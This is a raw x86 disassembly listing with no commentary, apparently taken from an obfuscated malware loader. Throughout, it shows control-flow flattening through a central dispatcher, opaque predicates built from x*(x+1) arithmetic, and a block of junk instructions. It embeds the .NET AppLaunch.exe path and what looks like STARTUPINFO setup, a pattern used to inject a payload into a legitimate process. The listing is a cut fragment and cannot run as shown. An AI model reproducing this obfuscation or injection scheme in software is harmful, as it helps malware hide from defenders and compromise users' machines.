and edi, 0x1e098011
and edx, 0x42894060
or edi, ecx
mov ecx, eax
and esi, 0xa1664e2a
and ecx, 0x409031c4
and eax, 0xbd76bf9f
or ecx, esi
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x3f698a3a
and esi, 0xc09675c5
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x42e97b71
and esi, 0xbd16848e
or ecx, esi
mov esi, ecx
xor esi, 0x487200
xor ecx, 0xbd16848e
mov edx, ecx
and edx, 0x4aa38df9
and esi, 0xb55c7206
or esi, edx
mov edx, eax
xor edx, 0xb5543206
xor eax, 0x42894060
or ecx, eax
and eax, 0x4aa38df9
and edx, 0xb55c7206
or edx, eax
not ecx
xor edx, esi
mov esi, 0x7f21609e
or ecx, edx
xor ecx, 0xffffffff
setne ah
sete ch
cmp dword [0x4a2b80], 0xa
mov cl, ah
setge al
mov edx, eax
xor cl, al
xor dl, ch
or ch, al
and cl, al
or al, ah
xor ch, 1
xor al, 1
mov ah, dl
or cl, ch
mov ch, dl
xor ch, 1
or al, ch
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xed2dff5f
cmovne ecx, esi
test al, 1
mov esi, 0xed2dff5f
jmp 0x40c8e2
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x81004000
and eax, 0x18b21188
mov esi, ecx
and esi, 0x20498a21
or ecx, 0xa140ca20
or edx, esi
and ecx, 0xe744ee76
mov esi, edx
xor esi, 0x6644ae76
and edx, 0x90001
or eax, ecx
and esi, 0xe744ee76
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x7d06406b
and ecx, 0x82f9bf94
or eax, ecx
mov edx, eax
mov ecx, eax
xor edx, 0x184e0840
xor ecx, 0x23b075b5
xor eax, 0xc4b8a02
mov esi, ecx
and esi, 0xe691c30f
and edx, 0x196e3cf0
and eax, 0x2d7bbf22
and ecx, 0xd28440dc
or edx, esi
or ecx, eax
mov esi, edx
not esi
and edx, 0x15697593
xor ecx, 0xd28440dc
and esi, 0xea968a6c
or edx, esi
xor edx, 0xf3f8b69d
or ecx, edx
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x6110d5d6
and ecx, 0x9eef2a29
or eax, ecx
mov ecx, eax
xor ecx, 0x21000402
xor eax, 0x9eef2a29
mov esi, eax
and esi, 0x5676d3dc
and ecx, 0xa9892c23
or ecx, esi
mov esi, edx
not esi
and edx, 0xa9892c23
or eax, esi
and esi, 0x5676d3dc
or edx, esi
not eax
mov esi, 0x8fe67411
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xd22bf2be
and ecx, 0x2dd40d41
or eax, ecx
mov ecx, eax
xor ecx, 0xc0285208
xor eax, 0xc040d01
and eax, 0x1e07adb7
and ecx, 0xe1f85248
or ecx, eax
mov eax, ecx
xor eax, 0xe058513
xor ecx, 0xe05248
and ecx, 0x10e27aec
and eax, 0xef1d8513
or eax, ecx
xor eax, 0xef1d8513
sete dl
setne ch
cmp dword [0x4a2b80], 0xa
mov dh, dl
setl ah
setge cl
mov al, ah
xor ah, dl
or dh, cl
xor dl, cl
or cl, ch
xor cl, 1
or al, ch
mov ebx, eax
or al, dh
or cl, ah
mov ah, dl
xor ah, cl
or cl, dl
xor bl, dh
xor al, 1
xor cl, 1
or al, bl
mov edx, eax
or cl, ah
xor dl, 1
xor al, cl
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x92412a24
cmovne ecx, esi
test dl, 1
mov edx, 0x8fe67411
cmovne edx, ecx
jmp 0x40d5c8
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0x18a80c8
not edx
mov esi, edx
or esi, 0x34242200
and ecx, 0x35aea2c8
and edx, 0xc8405812
or edx, ecx
mov ecx, eax
and esi, 0x35aea2c8
and ecx, 0x2110525
or ecx, esi
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0xfc647a13
and edx, 0x39b85ec
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0xd3e8181f
xor edx, ecx
test edx, ecx
setne dl
sete ah
cmp dword [0x4a2b80], 0xa
setge cl
setl ch
mov al, cl
and ch, dl
xor al, ah
and al, cl
and cl, ah
or cl, ch
or al, cl
mov ch, cl
mov edx, eax
and ch, al
xor dl, 1
mov ah, dl
or dl, cl
xor cl, 1
and ah, cl
xor cl, al
xor dl, 1
or dl, cl
or ch, ah
mov eax, edx
xor al, ch
test al, 1
mov eax, 0xfada1ead
cmovne esi, eax
test dl, 1
mov eax, 0xd3e8181f
cmovne eax, esi
test ch, ch
cmove eax, esi
jmp 0x402240
mov eax, dword [ebp - 0x160]
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xb4284a5a
and eax, 0x9028000
mov edx, ecx
or edx, 0x40940581
and esi, 0xf4bc4fdb
and ecx, 0x2413024
and edx, 0xf4bc4fdb
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x42d535a5
and ecx, 0xbd2aca5a
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 3
and edx, 0xfffffffc
and ecx, 0xfffffffc
or eax, ecx
or eax, edx
mov edx, 0x6ee486e5
mov ecx, eax
xor ecx, 0x9124db7c
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0x6edb2483
and eax, 0x9124db7c
or eax, ecx
mov eax, 0xc05a0ab4
cmove eax, edx
jmp 0x402240
vmovups ymm0, ymmword [0x4521d8]
vmovups ymm1, ymmword [0x4521c0]
mov eax, dword [ebp - 0x64]
vmovups ymm2, ymmword [0x4521a0]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x68]
setne byte [eax]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x68]
cmp byte [eax], 0
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
setne byte [ebp - 0x7a]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 1
mov edi, eax
mov esi, edx
and esi, 0xd54274c9
and edi, 0x2abd8b36
and eax, 0x463e07dc
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0xb9c1f823
mov ebx, esi
not ebx
and esi, 0x2abd8b36
or eax, ecx
or edx, ebx
and ebx, 0xd54274c9
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0x463e07dc
mov edi, esi
and edi, 0xb9c1f823
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xc7ad79a9
xor eax, 0xffffffff
setne cl
sete ah
cmp dword [0x4a2b80], 0xa
setge ch
setl al
mov dl, ch
and cl, al
xor al, ah
xor dl, ah
and ah, ch
and dl, ch
or cl, ah
mov ah, dl
xor dl, al
xor al, 1
xor ah, 1
or al, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xebb9621
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, esi
jmp 0x40dd5f
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
inc eax
mov dword [ecx], eax
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x6a2363bb
and edi, 0x95dc9c44
and edx, 0xf9ac3427
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0x653cbd8
mov ebx, esi
not ebx
and esi, 0x95dc9c44
or eax, edx
or ecx, ebx
and ebx, 0x6a2363bb
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x25972970
mov esi, edx
and esi, 0xda68d68f
or ecx, esi
mov esi, eax
xor esi, 0x4130950
xor eax, 0xd8281407
and eax, 0xda68d68f
and esi, 0x25972970
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0xd169063c
sete ah
setne dh
cmp dword [0x4a2b80], 0xa
mov bl, ah
setge al
setl ch
mov dl, al
or bl, al
and ch, dh
xor dl, ah
xor bl, 1
mov cl, dl
and dl, al
not cl
and cl, al
and al, ah
mov ah, dl
or al, ch
xor ah, 1
or cl, bl
xor dl, al
xor al, 1
or al, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, 1
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x13a9d5b3
cmovne ecx, esi
test al, 1
mov esi, 0x13a9d5b3
mov eax, ecx
cmovne eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402240
mov eax, dword [ebp - 0xa0]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x6c]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x128], eax
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x1d43d302
mov edx, eax
and edx, 0xe2bc2cfc
and eax, 0x8aed2ad
or esi, edx
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
xor esi, 0x1d43d302
and ecx, 0xf7512d52
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x8aed2ad
mov edi, esi
and edi, 0xf7512d52
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xd215ae30
setne ah
sete ch
cmp dword [0x4a2b80], 0xa
mov dl, ah
setl cl
setge al
and ah, cl
and dl, al
and cl, ch
or cl, dl
xor cl, 1
or cl, al
and al, ch
mov edx, ecx
or al, ah
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xbcdbc34c
cmovne ecx, esi
test al, al
mov eax, 0xbcdbc34c
jmp 0x40dd5c
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x80805001
and eax, 0x2071a238
mov edx, ecx
or edx, 0xf020c02
and esi, 0x8f825c03
and ecx, 0x500c01c4
and edx, 0x8f825c03
or ecx, esi
mov esi, 0x1dbb5061
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x5f0e0dc6
and ecx, 0xa0f1f239
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x34727da8
and edx, 0xfffffffe
and ecx, 0xcb8d8257
or eax, ecx
xor eax, 0x34727da9
or eax, edx
mov ecx, eax
not ecx
and eax, 0x169f6188
and ecx, 0xe9609e77
or ecx, eax
mov eax, ecx
xor eax, 0x20000251
xor ecx, 0x4880000
and ecx, 0xcde89c26
and eax, 0x321763d9
or eax, ecx
xor eax, 0x321763d9
sete ah
setne dl
cmp dword [0x4a2b80], 0xa
setge al
setl cl
mov ch, al
or al, ah
xor ch, dl
or dl, cl
or cl, ah
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
or cl, ch
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x9fceccc9
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, esi
jmp 0x40cdbc
bswap esi
add edi, 0xa2
mov edi, 0xd5
not edx
add ebx, 0x4d
bswap eax
imul esi
sbb edx, 0xf
bswap ebx
imul ebx
rcr edx, 0x22
inc ebx
or edi, 0xda
ror esi, 0x25
sub edi, 0x72
dec edi
not esi
mov edi, 0xfc
rcr edx, 0x3a
or edx, 0xd9
rcr esi, 0xa6
mov eax, 0xa7
mov edi, 0x75
not ebx
sbb eax, 6
ror ebx, 0x78
dec esi
mov ebx, 0x1b
or eax, 0x6d
ror ebx, 0x84
rol eax, 0xb1
dec eax
ror ebx, 0x90
neg edx
inc esi
not edi
not eax
not edi
bswap ebx
inc esi
sub ebx, 0xc1
mov edi, 0xc
ror edi, 0x49
add eax, 0x89
or ebx, 0x8f
and edi, 0x9b
sbb ebx, 0x68
dec eax
bswap esi
not esi
neg eax
dec esi
inc eax
ror esi, 0xf7
not edx
sub esi, 0xa2
not ebx
inc eax
rol edx, 0x97
or edi, 0x63
not edx
sub edi, 0x79
sub esi, 0x89
mov esi, 0xc2
sbb eax, 0x18
imul esi
dec edi
neg esi
rcl edi, 0x8c
rcr eax, 0x56
neg edi
bswap ebx
imul esi
inc ebx
bswap ebx
add edx, 0x3a
bswap edx
inc eax
not edi
rol edi, 0x87
sub ebx, 0xb5
or eax, 0x93
not ebx
bswap eax
neg esi
neg ebx
dec edi
neg eax
rcl ebx, 0x49
add ebx, 0x54
rol eax, 0xef
inc edx
add eax, 0x55
inc edi
and ebx, 0xa3
rcl esi, 0x50
dec eax
not esi
bswap esi
not ebx
rcl ebx, 0x5e
imul eax
rol edx, 0xad
rcr edx, 0x19
dec ebx
inc eax
neg edx
rcr ebx, 0x85
imul edi
inc edx
imul esi
bswap ebx
add esi, 0x8b
rcr edi, 0x73
rol ebx, 0x40
sub ebx, 0x4e
bswap eax
ror ebx, 0x7f
dec esi
mov ebx, 0x3a
mov esi, 0x89
dec ebx
ror edx, 0x64
sbb esi, 0x94
imul ebx
dec esi
and edx, 0x4b
add eax, 0x6c
imul edx
dec edi
rcl edx, 0x68
add ebx, 0x78
not eax
rol ebx, 0x47
inc eax
not eax
neg esi
add eax, 0xa7
inc edi
rcl eax, 0xdc
mov edi, 0xfa
dec eax
imul esi
inc edi
or edx, 0x6c
bswap eax
rcl edx, 0xc5
rcr edi, 0x17
sub edx, 0x19
ror eax, 0x90
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, 0xcf573b1b
jmp 0x402240
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x154], eax
mov eax, 0x3b732f5f
jmp 0x402240
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
mov eax, dword [0x4a2b84]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xe96c7aa5
mov eax, edx
and eax, 0xb9e5455e
and ecx, edx
not edx
and edx, 0x461abaa1
mov edi, ecx
not edi
and ecx, 0x1e87bfaf
or eax, edx
mov edx, eax
xor eax, 0x40083aa1
xor edx, 0x8040004
or eax, 0x1693855a
and edx, 0x8043aa5
mov esi, eax
or eax, edi
and esi, 0xe1784050
and edi, 0xe1784050
or edx, esi
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc5e1ae05
and ecx, 0x3a1e51fa
or eax, ecx
mov ecx, eax
xor eax, 0x1260211a
xor ecx, 0x2c8dd4a0
mov edx, ecx
and eax, 0x1a60253a
and ecx, 0xe59fdac5
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0xe59fdac4
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x12fc47a9
and eax, 0xed03b856
or ecx, eax
mov eax, ecx
xor eax, 0x121007a8
xor ecx, 0xcc03b800
and eax, 0x331007fe
and ecx, 0xcceff801
or ecx, eax
cmp ecx, 0xcceff801
sete ah
cmp dword [0x4a2b80], 0xa
setl al
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov ecx, edx
mov ah, al
xor cl, 1
and dl, al
xor ah, 1
or al, cl
and ah, cl
mov ecx, eax
or ah, dl
mov edx, 0xf6f24a51
xor cl, ah
mov ecx, 0x4f0ae975
cmovne ecx, edx
test al, al
mov edx, 0x4f0ae975
cmovne edx, ecx
test ah, ah
cmove edx, ecx
mov eax, edx
jmp 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xceb6d4bc
mov edx, ecx
and edx, 0x31492b42
and ecx, 0x2c77a9d8
or esi, edx
mov edx, eax
and edx, 1
and eax, 0xd3885627
mov edi, esi
xor edi, 0xca901088
xor esi, 0x11012a40
or eax, ecx
or edx, edi
and esi, 0x1527ee74
xor eax, 0xd3885627
and edx, 0xead8118b
or edx, esi
mov esi, 0x2b464c03
xor edx, 0xead8118b
or eax, edx
xor eax, 0xffffffff
sete dl
setne cl
cmp dword [0x4a2b80], 0xa
setge al
mov ah, al
xor ah, cl
or cl, al
or al, dl
and ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xe5180cc3
cmovne eax, esi
test dl, dl
mov edx, 0xe5180cc3
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402240
mov eax, dword [ebp - 0x50]
mov ecx, dword [0x4a2b84]
cmp dword [eax], 0
lea eax, [ecx + 1]
setne byte [ebp - 0x73]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xc88aa
mov edx, ecx
and edx, 0x5636041
and ecx, 0xfa901714
or eax, edx
xor eax, 0xc88aa
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x1d8ca3c3
and ecx, 0x3fcaca36
and eax, 0xe2735c3c
or edx, eax
mov eax, edx
mov esi, edx
xor eax, 0x1d8ca3c3
xor esi, 0x224669f5
xor edx, 0x2415820
and esi, eax
and edx, 0x1ec5d8a1
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xc03535c8
and esi, 0x3fcaca37
or ecx, esi
mov esi, eax
and esi, 0xe13a275e
and eax, 1
or esi, edx
xor esi, 0x1ec5d8a0
or eax, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x4a370e66
and eax, 0x21084082
mov edx, ecx
and edx, 0xb5c8f199
or ecx, 0x32200
or esi, edx
and ecx, 0x4cb7b754
mov edx, esi
xor esi, 0x2000
xor edx, 0x2000820
or eax, ecx
or esi, 0x4cb49554
and edx, 0x92400829
and esi, 0x4cb7b754
or edx, esi
mov esi, 0x7245911e
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x13397935
and ecx, 0xecc686ca
or eax, ecx
mov ecx, eax
xor ecx, 0x1105004
xor eax, 0x7e85ace3
mov edx, eax
and edx, 0xc2eea7fa
and ecx, 0x3d115805
or ecx, edx
xor ecx, 0x3d115805
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete cl
cmp dword [0x4a2b80], 0xa
setl ah
mov al, ah
or dl, ah
or al, cl
xor cl, ah
xor al, 1
or al, cl
and cl, ah
mov ah, dl
mov dh, al
xor cl, 1
not dh
xor ah, cl
or cl, dl
and dh, al
xor cl, 1
xor dh, 1
or cl, ah
mov ah, dh
or dh, al
xor ah, al
xor dh, 1
or dh, ah
mov ah, dh
xor ah, 1
and ah, cl
xor cl, 1
and dh, cl
or cl, al
or dh, ah
mov eax, ecx
xor al, dh
test cl, 1
mov ecx, 0x102abb4
cmovne ecx, esi
test dh, 1
not al
cmove ecx, esi
test al, 1
mov eax, 0x102abb4
jmp 0x40e0fc
mov eax, dword [ebp - 0x100]
cmp eax, dword [ebp - 0x104]
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
setne byte [ebp - 0x70]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x12400b80
mov esi, eax
and esi, 0xe1884407
and eax, 0xeb8ac62d
or edx, esi
mov esi, edx
xor esi, 0x12400100
xor edx, 0xedbff47f
mov edi, edx
and edi, 0x6d8baae8
and esi, 0x92404507
or esi, edi
mov edi, ecx
xor edi, 0xf3c84f87
and edi, ecx
and ecx, 0x147539d2
mov ebx, edi
not ebx
and edi, 0x92745517
or eax, ecx
or edx, ebx
and ebx, 0x6d8baae8
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0xf3c84f86
and esi, 0xc37b079
or edx, esi
mov esi, edx
not esi
and edx, 0xeb8ac62d
mov edi, esi
and edi, 0x147539d2
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x8f0fdddf
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x4a2b80], 0xa
setl cl
setge ah
and cl, dl
mov dl, ah
and dl, al
xor al, ah
or cl, dl
and al, ah
xor al, 1
xor cl, 1
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov edx, eax
or al, cl
xor dl, cl
mov ebx, eax
xor bl, dl
test al, 1
mov eax, 0xc2d0bad6
cmovne eax, esi
test dl, 1
mov edx, 0xc2d0bad6
cmove eax, esi
test bl, 1
cmove eax, edx
jmp 0x402240
mov eax, dword [ebp - 0xe0]
add eax, 0x34
mov dword [ebp - 0x130], eax
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xc53bfb43
mov esi, ecx
or esi, 0x2800009c
mov edx, ecx
not edx
and eax, ecx
and esi, 0x683aea9e
and edx, 0x85011141
mov edi, eax
not edi
and eax, 0x97c51561
or edx, esi
or ecx, edi
and edi, 0x683aea9e
or eax, edi
not ecx
xor eax, edx
or ecx, eax
not eax
and eax, 0x3ac404bc
and ecx, 0xc53bfb43
or ecx, eax
mov edi, ecx
not edi
mov edx, ecx
and edx, 0xfadf50c7
and ecx, 0x10810204
mov eax, edi
and eax, 0x520af38
or edi, 0xe204c8ba
or edx, eax
mov eax, edx
mov ebx, edx
xor eax, 0xfadf50c7
xor ebx, 0xe7246782
xor edx, 0x5000c00
and ebx, eax
or eax, 1
and edx, 0x97164c82
mov esi, ebx
not esi
and ebx, 0x30818294
and eax, 0x68e9b37d
mov dword [ebp - 0xd4], esi
and dword [ebp - 0xd4], 0xcf7e7d6b
or esi, edi
and edi, 0xcf7e7d6b
or eax, edx
add ebx, dword [ebp - 0xd4]
or ecx, edi
not esi
xor eax, 0x68e9b37d
mov edi, 0xd1ed0947
xor ecx, ebx
or esi, ecx
mov ecx, esi
not ecx
and esi, 0x3339868c
and ecx, 0xccc67973
or esi, ecx
xor esi, 0xd13d4e37
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x40501730
and eax, 0x84aec0c0
mov edx, ecx
and edx, 0x29000800
or ecx, 0x60401e20
or esi, edx
and ecx, 0x72413e2f
mov edx, esi
xor edx, 0x100110
xor esi, 0x3201280f
or eax, ecx
and esi, 0x72413e2f
and edx, 0x9100110
or edx, esi
mov esi, 0xd1ed0947
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x69501f30
and ecx, 0x96afe0cf
or eax, ecx
sete cl
cmp dword [0x4a2b80], 0xa
setl dl
mov eax, edx
or dl, cl
xor al, cl
mov ah, dl
mov ecx, eax
xor cl, 1
or dl, cl
xor ah, cl
xor dl, 1
or dl, ah
mov ch, dl
xor ch, 1
mov ah, ch
and ah, dl
xor ch, ah
xor ah, 1
or ah, dl
xor ah, 1
or ah, ch
mov dl, ah
and ah, cl
xor dl, 1
or cl, dl
and dl, al
or dl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x7d5c56b2
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
test cl, 1
cmovne eax, esi
jmp 0x402240
mov eax, dword [ebp - 0x124]
mov edi, 0xc84313e9
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xabf81d02
mov eax, edx
and eax, 0x1407e2fd
and edx, 0xdc51c86e
or esi, eax
mov eax, ecx
xor eax, 0xbfffffff
and eax, ecx
xor esi, 0xabf81d02
and ecx, 0x23ae3791
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0x67dd0465
and esi, 0x9822fb9a
or eax, esi
mov esi, eax
xor esi, 0x78c0401
xor eax, 0x9822fb9a
mov edx, eax
and edx, 0xe071f0ee
and esi, 0x1f8e0f11
or esi, edx
mov edx, ecx
xor edx, 0x38e0711
xor ecx, 0xdc51c86e
or eax, ecx
and ecx, 0xe071f0ee
and edx, 0x1f8e0f11
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov ecx, eax
not ecx
and eax, 0xd8562d2
and ecx, 0xf27a9d2d
or eax, ecx
cmp eax, 0xd8562d2
mov eax, dword [0x4a2b84]
setne byte [ebp - 0x74]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x1d93e1b5
mov eax, edx
and eax, 0x19810101
and ecx, edx
not edx
and edx, 0x412e0b4
or eax, edx
mov edx, eax
xor edx, 0x10101
xor eax, 0xe67efefe
mov esi, eax
and esi, 0x1baa66e8
and edx, 0x4118115
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe4559917
or eax, esi
and esi, 0x1baa66e8
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2554cc83
and ecx, 0xdaab337c
or eax, ecx
mov edx, eax
xor edx, 0x38c72d36
xor eax, 0xc738d2c9
mov ecx, eax
mov esi, edx
or ecx, 1
and eax, 0xfffffffe
and esi, 1
and edx, 0x9e52224
or esi, eax
mov eax, ecx
and eax, 0xf61adddb
or edx, eax
mov eax, esi
not eax
and esi, 0x9e52224
or ecx, eax
and eax, 0xf61adddb
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x52b0d059
mov eax, ecx
not eax
and ecx, 0x4f335796
and eax, 0xb0cca869
or ecx, eax
mov eax, ecx
xor eax, 0x40305184
xor ecx, 0xb0cca869
mov edx, ecx
and edx, 0x3f4fa65a
and eax, 0xc0b059a5
or eax, edx
xor eax, 0xc0b059a5
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x4a2b80], 0xa
setl dl
mov ecx, edx
or dl, al
xor cl, al
mov eax, ecx
and al, dl
xor dl, 1
or dl, cl
mov ecx, edx
mov ah, dl
not cl
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
mov ah, al
and dl, cl
xor cl, 1
xor ah, cl
and cl, al
or cl, dl
and ah, al
mov edx, 0xc84313e9
mov al, cl
xor al, ah
test cl, cl
cmovne edi, esi
test ah, ah
cmove edi, edx
test al, 1
cmovne edi, esi
mov eax, edi
jmp 0x402240
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x120]
mov esi, 0x63a2551b
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa0208000
and ecx, 0x2485087
or edx, ecx
mov ecx, eax
and ecx, 0x5d972f78
xor edx, 0xa0208000
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x20f5dbe4
and edx, 0xdf0a241b
or ecx, edx
mov edx, ecx
xor edx, 0x829d0b62
xor ecx, 0x7d62f49d
and edx, eax
andn eax, eax, ecx
or edx, eax
not edx
or edx, ecx
xor edx, 0xffffffff
sete dl
setne cl
cmp dword [0x4a2b80], 0xa
setge al
setl ch
mov ah, al
or al, cl
xor ah, cl
xor cl, ch
not cl
and ah, dl
mov edx, eax
and cl, ch
mov ch, ah
xor dl, 1
xor ah, cl
xor ch, 1
xor cl, 1
or cl, ch
xor cl, 1
or cl, ah
mov ah, cl
and cl, al
xor ah, 1
or al, ah
and ah, dl
mov edx, 0x723110a3
or ah, cl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0x63a2551b
cmovne ecx, edx
test ah, ah
mov edx, ecx
cmovne edx, esi
test al, 1
jmp 0x40e030
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov eax, 0xe1430e20
jmp 0x402240
mov eax, 0x8803e886
jmp 0x402240
mov eax, 0x60eaf1ef
jmp 0x402240
mov eax, 0x5e88a2d2
jmp 0x402240
mov eax, 0x234d1cf7
jmp 0x402240
mov eax, dword [0x4a2b84]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x8cdc6435
and ecx, 0x73239bca
or ecx, edx
mov eax, ecx
mov edi, ecx
xor eax, 0x73239bca
xor edi, 0x21574eed
and edi, eax
mov ebx, eax
